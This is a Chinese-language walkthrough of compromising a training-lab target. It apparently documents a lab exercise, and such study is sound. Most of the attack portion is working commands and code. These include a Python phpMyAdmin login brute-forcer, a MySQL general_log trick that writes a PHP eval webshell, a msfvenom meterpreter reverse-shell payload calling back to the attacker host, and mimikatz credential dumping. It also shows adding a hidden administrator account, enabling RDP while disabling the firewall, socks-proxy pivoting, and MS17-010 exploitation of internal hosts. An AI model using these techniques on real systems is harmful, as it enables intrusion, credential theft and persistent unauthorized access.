# 前言
实训中一个难度很小的靶机,第一次做这种,一些地方不太熟也是卡了很久很久。总的来说还是比较有意思的
# 外围打点
# 信息收集
首先将环境启起来
首先进行信息收集,这里首先检查本机 ip
这里 kali 和外网主机都使用 net 模式,然后这里 kail 本机 ip 是 192.168.246.136,先使用 fscan 进行主机发现
nmap 192.168.246.1/24 |
这里可以看到发现了一个 192.168.246.136 的主机,上面开放了 80 和 3306 端口,初步判断是 httpd 和 mysql 服务,这里进一步进行协议发现
nmap 192.168.246.163 -p80,3306 -sV |
这里可以看到 80 端口开放的是一个 apache 的服务,版本是 2.4.23,php 版本是 5.4.45,这里先访问一下 80 端口的 web 服务同时去爆破一下 mysql 的用户名和密码
爆破密码
这里没有爆破成功,有两种情况,一种是我的字典中没有对应的用户名和密码组合,还有一种就是该服务不允许外部连接
访问页面
可以看到这里是一个 phpstudy 的探针,版本是 2014,这里能知道 windows 内核版本、主机名、网站的绝对路径、php 版本和已经加载的模块。还有一个 mysql 服务,这里先运行目录爆破
dirsearch -u http://192.168.246.163/ |
这里可以看到有一个 phpinfo 和 phpmyadmin,之际尝试访问
这里 phpmyadmin 版本是
没有目前没有公开的可利用的漏洞,这里尝试去爆破用户名和密码
这里开始设想去爆破发现所有的结果都返回 302,选择跟踪重定向也不行,看来想要直接使用 burp 是不可行了,这里用 python 来实现
from requests import session | |
from re import findall | |
from html import unescape | |
# phpmyadmin 地址,例如 http://localhost/index.php | |
target = 'http://192.168.246.163/phpmyadmin/index.php' | |
# 用户名字典文件 | |
# user = 'root' | |
namedic = 'namedic.txt' | |
# 字典文件路径 | |
passdic = 'passwd.txt' | |
ss = session() | |
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', | |
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \ | |
Chrome/87.0.4280.88 Safari/537.36'} | |
# 获取 token 函数 | |
def get_token(text) -> str: | |
token = findall("name=\"token\" value=\"(.*?)\" />", text) | |
return unescape(token[0]) if token else None | |
# 获取网站标题函数 | |
def get_title(text) -> str: | |
title = findall('<title>(.*)</title>', text) | |
return title[0] if title else None | |
#尝试登录函数 | |
def try_login(user, pwd, token): | |
data = {'pma_username': user, | |
'pma_password': pwd, | |
'server': 1, | |
'target': 'index.php', | |
'token': token} | |
r = ss.post(url=target, data=data) | |
return r.text | |
#爆破函数 | |
def burst_pma(): | |
html = try_login('', '', '') | |
title_fail = get_title(html) | |
token = get_token(html) | |
with open(passdic, 'r', encoding='utf-8') as f: | |
for line in f: | |
with open(namedic, 'r', encoding='utf-8') as h: | |
for li in h: | |
user = li.strip() | |
pwd = line.strip() | |
print(f'[?] loading {user} {pwd} ') | |
html = try_login(user, pwd, token) | |
title = get_title(html) | |
token = get_token(html) | |
if title != title_fail: | |
print(f'[+] success {title}') | |
exit() | |
with open('success.txt', 'a', encoding='utf-8') as g: | |
g.write(f'{target} | {user} | {pwd}\n') | |
break | |
else: | |
print(f'[-] failed {title}') | |
if __name__ == "__main__": | |
try: | |
burst_pma() | |
except Exception as e: | |
print(e) |
可以看到这里用户名和密码就拿到了 root/root
这里成功进来后我们就可以来尝试利用 mysql 来 getshell 了
# 突破边界
先查看 secure_file_priv
show global variables like '%secure_file_priv%'; |
这里是 null,不允许导入导出,这里就不能利用了。简单查看一下当前的用户权限
可以看到这里是 root 权限,权限比较高,可以利用的点也就比较多,首先查看日志是否开启
show global variables like "%general%"; |
这里可以看到是关闭的,于是我们将其打开并设置路径到网站根目录下
# 更改日志文件位置 | |
set global general_log = "ON"; | |
set global general_log_file='C:/phpStudy/WWW/conf.php'; |
这里可以看到就已经成功更改了,写入一句话木马
select '<?php eval($_POST[1]); ?>'; |
写入后直接连接即可,到这里外围打点就完成了
# 后渗透
首先利用上面拿到的 webshell 来使得主机在 msf 中上线,根据上面的 phpstudy 探针了解到目标系统是 win7,这里首先利用 msfvenom 来生成 shell
# 反向上线
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.246.136 LPORT=4444 -f exe -o reverse.exe |
先生成一个 shell,然后通过蚁剑上传到目标靶机上
然后设置一下 payload
然后开启监听
成功上线,然后尝试抓取 hash
这里成功抓到,然后尝试抓取明文用户名密码
首先加载 kiwi
kiwi_cmd a:: # 查看模块命令提示 | |
kiwi_cmd sekurlsa::a # 查看指定模块命令提示 | |
kiwi_cmd privilege::debug # 提升 mimikatz 权限 | |
kiwi_cmd sekurlsa::logonPasswords # 抓取登陆密码凭据 |
查看模块的命令提示
查看 sekurlsa 模块的命令提示,提升 mimikatz 权限
然后尝试抓取明文密码(这个能抓到的情况需要当前用户登录过)
这里抓取失败
# 远程桌面
这里进入到我们的 shell 里,首先我们添加一个我们登录使用的用户
net user clown your_passwd /add |
然后将这个用户添加到管理员组
net localgroup administrators clown /add |
使用 netstat 来查看已经开启的服务
这里可以看到目标主机是没有开放 3389 端口的
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f | |
netsh advfirewall set allprofiles state off |
这里开放服务且关闭目标主机防火墙
这里可以看到目标已经成功开起 3389 服务
rdesktop 192.168.246.163 |
登录成功
# 内网横向
# 主机 1
meterpreter> run get_local_subnets # 获取网卡配置信息 | |
meterpreter> run autoroute -s 192.168.52.0/24 # 开启自动路由 | |
meterpreter> run autoroute -p # 查看自动路由列表 |
这里可以看到还有一个 52 网段的 ip
这里开启自动路由后将当前的 shell 挂起来起一个 socks 代理
然后使用 msf 的代理模块
use auxiliary/server/socks_proxy | |
run |
做一下内网存活扫描
for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.52.%i # ping C 段 | |
arp -a # 查看 arp 列表 |
可以看到这里发现两个主机 192.168.52.138
和 192.168.52.141
修改一下 proxychains.conf,来设置 socks 代理
然后就可以使用这个代理来扫描内网端口
这里可以看到,都开有 445 端口,尝试利用 ms17_010
这里可以看到利用成功,说明存在这个漏洞
set command net user clown123 test_passwd123 /add | |
run | |
set command net localgroup administrators clown123 /add | |
run | |
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' | |
run | |
set command 'netsh advfirewall set allprofiles state off' | |
run |
然后直接远程连接即可
成功
# 主机 2
代理设置都不用管,直接将 ms17-010 的 RHOST 更改一下即可
然后将用户加入管理组,后面的都是一样的就不截图了